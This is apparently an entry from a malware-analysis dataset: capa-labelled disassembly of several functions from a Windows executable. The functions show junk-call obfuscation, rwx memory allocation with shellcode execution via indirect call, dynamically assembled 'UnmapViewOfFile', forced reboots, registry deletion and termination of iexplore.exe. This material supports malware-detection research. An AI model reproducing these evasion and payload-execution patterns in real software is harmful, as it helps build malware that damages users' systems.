joyce8/EMBER2024-capa huggingface dataset:
Function at 0x422d40
Capabilities:
Read .ini file

Disassembly:
push 0xffffffffffffffff
push 0x444240
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push esi
push edi
mov eax, dword [0x4531c4]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
mov dword [esp + 0x30], 2
cmp dword [esp + 0x88], 0
mov edi, 8
jne 0x422daa
lea esi, [esp + 0xc]
call fcn.00422920
push 0xffffffffffffffff
push 0
lea ecx, [esp + 0x7c]
mov byte [esp + 0x38], 3
call fcn.00401a20
cmp dword [esp + 0x24], edi
jb 0x422daa
mov eax, dword [esp + 0x10]
push eax
call fcn.00429ba0
add esp, 4
mov edx, dword [esp + 0x78]
cmp dword [esp + 0x8c], edi
jae 0x422dbb
lea edx, [esp + 0x78]
mov ecx, dword [esp + 0x58]
cmp dword [esp + 0x6c], edi
jae 0x422dc9
lea ecx, [esp + 0x58]
mov eax, dword [esp + 0x3c]
cmp dword [esp + 0x50], edi
jae 0x422dd7
lea eax, [esp + 0x3c]
push edx
mov edx, dword [esp + 0x74]
push edx
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
mov esi, eax
cmp dword [esp + 0x50], edi
jb 0x422dfa
mov eax, dword [esp + 0x3c]
push eax
call fcn.00429ba0
add esp, 4
xor ecx, ecx
mov dword [esp + 0x50], 7
mov dword [esp + 0x4c], 0
mov word [esp + 0x3c], cx
cmp dword [esp + 0x6c], edi
jb 0x422e24
mov edx, dword [esp + 0x58]
push edx
call fcn.00429ba0
add esp, 4
xor eax, eax
mov dword [esp + 0x6c], 7
mov dword [esp + 0x68], 0
mov word [esp + 0x58], ax
cmp dword [esp + 0x8c], edi
jb 0x422e51
mov ecx, dword [esp + 0x78]
push ecx
call fcn.00429ba0
add esp, 4
mov eax, esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x28
ret
Function at 0x42837f
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x456044], 0
push esi
jne 0x4282f2
call fcn.00428218
test eax, eax
je 0x428335
mov eax, dword [0x456044]
cmp eax, 1
jne 0x428313
push 0xd
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x428335
pop esi
ret
push eax
call dword [0x45604c]
test eax, eax
jne 0x42837d
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x428339
xor eax, eax
pop esi
ret
mov eax, dword [esi]
push edi
push dword [0x456044]
call dword [0x45604c]
mov edi, eax
test edi, edi
je 0x42835e
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x42837a
mov edi, esi
add esi, 0xff0
push edi
push dword [0x456044]
call dword [0x456048]
add edi, 0x10
cmp edi, esi
jb 0x428366
mov eax, edi
pop edi
pop esi
ret
jmp 0x4282df

Function at 0x429bab
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4531c4]
jne 0x429bb5
repz ret
jmp fcn.0042ff8d

Function at 0x43cb95
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004316c4
and dword [ebp - 4], 0
cmp dword [0x456e80], 0
mov ebx, eax
jne 0x43cc46
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x43ccf7
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x43ccf7
push eax
call fcn.00431652
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x456e80], eax
call esi
push eax
call fcn.00431652
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x456e84], eax
call esi
push eax
call fcn.00431652
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x456e88], eax
call esi
push eax
call fcn.00431652
pop ecx
mov dword [0x456e90], eax
test eax, eax
je 0x43cc46
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00431652
pop ecx
mov dword [0x456e8c], eax
mov eax, dword [0x456e8c]
cmp eax, ebx
je 0x43cc9e
cmp dword [0x456e90], ebx
je 0x43cc9e
push eax
call fcn.004316cd
push dword [0x456e90]
mov esi, eax
call fcn.004316cd
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x43cc9e
test edi, edi
je 0x43cc9e
call esi
test eax, eax
je 0x43cc95
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x43cc95
test byte [ebp - 0xc], 1
jne 0x43cc9e
or dword [ebp + 0x10], 0x200000
jmp 0x43ccd7
mov eax, dword [0x456e84]
cmp eax, ebx
je 0x43ccd7
push eax
call fcn.004316cd
pop ecx
test eax, eax
je 0x43ccd7
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x43ccd7
mov eax, dword [0x456e88]
cmp eax, ebx
je 0x43ccd7
push eax
call fcn.004316cd
pop ecx
test eax, eax
je 0x43ccd7
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x456e80]
call fcn.004316cd
pop ecx
test eax, eax
je 0x43ccf7
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x43ccf9
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401000
Capabilities:
Get file attributes
Write file on windows

Disassembly:
sub esp, 0x120
lea eax, [esp]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x40114b
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
xor esi, esi
push esi
push esi
push esi
push esi
push 0xffffffffffffffff
call edi
test eax, eax
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileType]
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push esi
je 0x40105a
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
push esi
push esi
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_SetFileTime]
jmp 0x401066
call ebx
push esi
call ebp
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea eax, [esp + 0x2c]
push str.SeShutdo
push eax
call fcn.00402640
lea eax, [esp + 0x34]
push str.wnPrivilege
push eax
call fcn.00402650
add esp, 0x10
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x30]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x401110
mov eax, dword [esp + 0x14]
push esi
push esi
push esi
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x24]
push esi
push 0xffffffffffffffff
mov dword [esp + 0x30], 1
mov dword [esp + 0x38], eax
call edi
test eax, eax
push esi
je 0x4010d5
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
push esi
push esi
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_SetFileTime]
jmp 0x4010e1
call ebx
push esi
call ebp
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push str.advapi32.dll
mov dword [esp + 0x2c], 2
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.AdjustTokenPrivileges
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push esi
push esi
push 0x10
lea ecx, [esp + 0x28]
push ecx
push esi
push dword [esp + 0x24]
call eax
push esi
push esi
push esi
push esi
push 0xffffffffffffffff
call edi
test eax, eax
push esi
je 0x401131
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
push esi
push esi
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_SetFileTime]
jmp 0x40113d
call ebx
push esi
call ebp
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x120
ret
Function at 0x401152
Capabilities:
Get file attributes
Query or enumerate registry value
Write file on windows

Disassembly:
sub esp, 0xc
or dword [esp + 4], 0xffffffff
lea eax, [esp]
push eax
push 0x16
push str.EypbawdsJ_xbsdxsb6Esucd
call fcn.00401c40
pop ecx
pop ecx
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x401222
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
xor esi, esi
push esi
push esi
push esi
push esi
push 0xffffffffffffffff
call edi
test eax, eax
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileType]
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push esi
je 0x4011b9
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
push esi
push esi
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_SetFileTime]
jmp 0x4011c5
call ebx
push esi
call ebp
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x18]
push eax
push esi
push esi
push dword [esp + 0x30]
mov dword [esp + 0x2c], 4
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push esi
push esi
push esi
push esi
push 0xffffffffffffffff
call edi
test eax, eax
push esi
je 0x401208
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
push esi
push esi
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_SetFileTime]
jmp 0x401214
call ebx
push esi
call ebp
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
pop ebx
mov eax, dword [esp + 4]
add esp, 0xc
ret

Function at 0x40122a
Capabilities:
Get file attributes
Set registry value
Write file on windows

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
xor esi, esi
push esi
push esi
push esi
push esi
push 0xffffffffffffffff
call edi
test eax, eax
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileType]
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push esi
je 0x401264
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
push esi
push esi
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_SetFileTime]
jmp 0x401270
call ebx
push esi
call ebp
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea eax, [esp + 0x10]
push eax
push 0x16
push str.EypbawdsJ_xbsdxsb6Esucd
call fcn.00401c40
pop ecx
pop ecx
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x4012e2
push 4
lea eax, [esp + 0x20]
push eax
push 4
push esi
push dword [esp + 0x28]
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
push esi
push esi
push esi
push 0xffffffffffffffff
call edi
test eax, eax
push esi
je 0x4012d6
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
push esi
push esi
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_SetFileTime]
jmp 0x4012e2
call ebx
push esi
call ebp
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x4012e8
Capabilities:
Get file attributes
Write file on windows

Disassembly:
sub esp, 0x10c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
call esi
test eax, eax
mov edi, dword [sym.imp.KERNEL32.dll_GetFileType]
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push ebx
je 0x401327
push ebx
call dword [sym.imp.USER32.dll_GetWindowLongA]
push ebx
push ebx
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_SetFileTime]
jmp 0x401333
call edi
push ebx
call ebp
push ebx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea eax, [esp + 0x18]
push str.SoftwareMicrosoftWindowsCurrentVersionUninstall_
push eax
mov byte [esp + 0x1b], bl
call fcn.00402640
pop ecx
pop ecx
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
call esi
test eax, eax
push ebx
je 0x401369
push ebx
call dword [sym.imp.USER32.dll_GetWindowLongA]
push ebx
push ebx
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_SetFileTime]
jmp 0x401375
call edi
push ebx
call ebp
push ebx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [esp + 0x120]
push dword [eax*4 + 0x405030]
lea eax, [esp + 0x1c]
push eax
call fcn.00402650
pop ecx
pop ecx
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x1c]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x4013e4
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
mov byte [esp + 0x27], 1
call esi
test eax, eax
push ebx
je 0x4013ce
push ebx
call dword [sym.imp.USER32.dll_GetWindowLongA]
push ebx
push ebx
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_SetFileTime]
jmp 0x4013da
call edi
push ebx
call ebp
push ebx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, byte [esp + 0x13]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10c
ret
Function at 0x4013f3
Capabilities:
Get file attributes
Shutdown system
Write file on windows

Disassembly:
sub esp, 0x108
push ebx
push ebp
push esi
push edi
push str.Removable
mov dword [0x40503c], 0x4042b0
mov dword [0x405030], 0x4042a0
call fcn.00401152
test eax, eax
pop ecx
jne 0x4014d8
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
xor esi, esi
push esi
push esi
push esi
push esi
or ebx, 0xffffffff
push ebx
call edi
test eax, eax
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileType]
push esi
je 0x401454
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
push esi
push esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileTime]
jmp 0x401464
call ebp
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 1
push str.Attention_
push str.You_should_reboot_your_computer_prior_to_uninstalling_this_software._Reboot_now_
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 1
jne 0x40159f
push esi
push esi
push esi
push esi
push ebx
call edi
test eax, eax
push esi
je 0x40149f
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
push esi
push esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileTime]
jmp 0x4014af
call ebp
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
call section..text
push esi
push 2
call dword [sym.imp.USER32.dll_ExitWindowsEx]
test eax, eax
je 0x40159f
push 1
push str.Removable
call fcn.0040122a
pop ecx
pop ecx
jmp 0x40159f
push str.Type
call fcn.00401152
or ebx, 0xffffffff
cmp eax, ebx
pop ecx
mov dword [esp + 0x10], eax
je 0x4015a3
push eax
call fcn.004012e8
test al, al
pop ecx
je 0x4015a3
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
xor esi, esi
push esi
push esi
push esi
push esi
push ebx
call edi
test eax, eax
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileType]
push esi
je 0x40152e
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
push esi
push esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileTime]
jmp 0x40153e
call ebp
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [esp + 0x10]
mov eax, dword [eax*4 + 0x405030]
push eax
push eax
lea eax, [esp + 0x1c]
push str.Please_uninstall__s_from_your_computer_before_uninstalling_this_component._nYou_will_be_unable_to_use__s_with_this_component_removed.
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push esi
push esi
push esi
push esi
push ebx
call edi
test eax, eax
push esi
je 0x40157d
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
push esi
push esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileTime]
jmp 0x40158d
call ebp
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push esi
push str.Attention_
lea eax, [esp + 0x1c]
push eax
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor al, al
jmp 0x4015a5
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x108
ret
Function at 0x4015b0
Capabilities:
Get file attributes
Shutdown system
Write file on windows

Disassembly:
push esi
push 0xec2f15
push str.65010
call fcn.0040122a
pop ecx
pop ecx
push 1
push str.Attention_
push str.Please_reboot_your_computer_to_complete_uninstallation_process._Reboot_now_
xor esi, esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 1
jne 0x401662
push ebx
push ebp
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
push esi
push esi
push esi
push 0xffffffffffffffff
call edi
test eax, eax
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileType]
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push esi
je 0x401616
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
push esi
push esi
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_SetFileTime]
jmp 0x401622
call ebx
push esi
call ebp
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
call section..text
push esi
push esi
push esi
push esi
push 0xffffffffffffffff
call edi
test eax, eax
push esi
je 0x401648
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
push esi
push esi
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_SetFileTime]
jmp 0x401654
call ebx
push esi
call ebp
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push esi
push 2
call dword [sym.imp.USER32.dll_ExitWindowsEx]
pop edi
pop ebp
pop ebx
pop esi
ret
push esi
push str.Removable
call fcn.0040122a
pop ecx
pop ecx
pop esi
ret
Function at 0x401671
Capabilities:
Delete registry key
Get file attributes
Query or enumerate registry key
Write file on windows

Disassembly:
sub esp, 0x10c
push esi
lea eax, [esp + 4]
push eax
push 0x2001f
xor esi, esi
push esi
push dword [esp + 0x124]
push dword [esp + 0x124]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x4016a7
mov eax, 0x3f3
jmp 0x401764
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileTime]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileType]
push edi
mov edi, dword [sym.imp.USER32.dll_GetWindowLongA]
push esi
push esi
push esi
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
push esi
je 0x4016d9
push esi
call edi
push esi
push esi
push esi
push 0xffffffffffffffff
call ebx
jmp 0x4016e9
call ebp
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0x105
lea eax, [esp + 0x18]
push eax
push esi
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
cmp eax, esi
jne 0x401716
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x14]
call fcn.00401671
cmp eax, esi
pop ecx
pop ecx
je 0x4016bc
push esi
push esi
push esi
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
push esi
je 0x401733
push esi
call edi
push esi
push esi
push esi
push 0xffffffffffffffff
call ebx
jmp 0x401743
call ebp
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [esp + 0x124]
push dword [esp + 0x124]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
pop edi
pop ebp
pop ebx
pop esi
add esp, 0x10c
ret
Function at 0x402020
Capabilities:
Get file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
push edi
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
call ebx
test eax, eax
push 0
je 0x40205c
push 0
call dword [sym.imp.USER32.dll_GetWindowLongA]
push 0
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_SetFileTime]
jmp 0x402072
call dword [sym.imp.KERNEL32.dll_GetFileType]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x104
lea eax, [ebp - 0x118]
push eax
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push str.kernel32.dll
call esi
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
mov esi, eax
call ebx
test eax, eax
push 0
je 0x4020c2
push 0
call dword [sym.imp.USER32.dll_GetWindowLongA]
push 0
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_SetFileTime]
jmp 0x4020d8
call dword [sym.imp.KERNEL32.dll_GetFileType]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push str.wOfFile
push str.pVie
push str.Unma
lea ecx, [ebp - 0x21c]
push str._s_s_s
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
add esp, 0x14
lea edx, [ebp - 0x21c]
push edx
push esi
call edi
push 0x40445c
push esi
mov dword [ebp - 8], eax
call edi
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
mov dword [ebp - 4], eax
call ebx
test eax, eax
push 0
je 0x402144
push 0
call dword [sym.imp.USER32.dll_GetWindowLongA]
push 0
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_SetFileTime]
jmp 0x40215a
call dword [sym.imp.KERNEL32.dll_GetFileType]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0x404450
push esi
call edi
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
mov dword [ebp - 0xc], eax
call ebx
test eax, eax
push 0
je 0x40218f
push 0
call dword [sym.imp.USER32.dll_GetWindowLongA]
push 0
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_SetFileTime]
jmp 0x4021a5
call dword [sym.imp.KERNEL32.dll_GetFileType]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0x404444
push esi
call edi
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
mov dword [ebp - 0x14], eax
call ebx
test eax, eax
push 0
je 0x4021da
push 0
call dword [sym.imp.USER32.dll_GetWindowLongA]
push 0
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_SetFileTime]
jmp 0x4021f0
call dword [sym.imp.KERNEL32.dll_GetFileType]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x10], eax
push 0
lea eax, [ebp - 0x118]
push eax
push dword [ebp - 0xc]
push 4
push dword [ebp - 4]
push dword [ebp - 0x10]
push dword [ebp - 0x14]
push dword [ebp - 8]
ret
Function at 0x402490
Capabilities:
Get file attributes
Terminate process
Write file on windows

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileTime]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileType]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetWindowLongA]
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
push 0
je 0x4024cc
push 0
call edi
push 0
push 0
push 0
push 0xffffffffffffffff
call ebx
jmp 0x4024de
call ebp
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push str.iexplore.exe
call fcn.00402220
mov esi, eax
add esp, 4
test esi, esi
je 0x402542
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
push 0
je 0x402517
push 0
call edi
push 0
push 0
push 0
push 0xffffffffffffffff
call ebx
jmp 0x402529
call ebp
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
push esi
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x4024a6
pop edi
pop esi
pop ebp
pop ebx
ret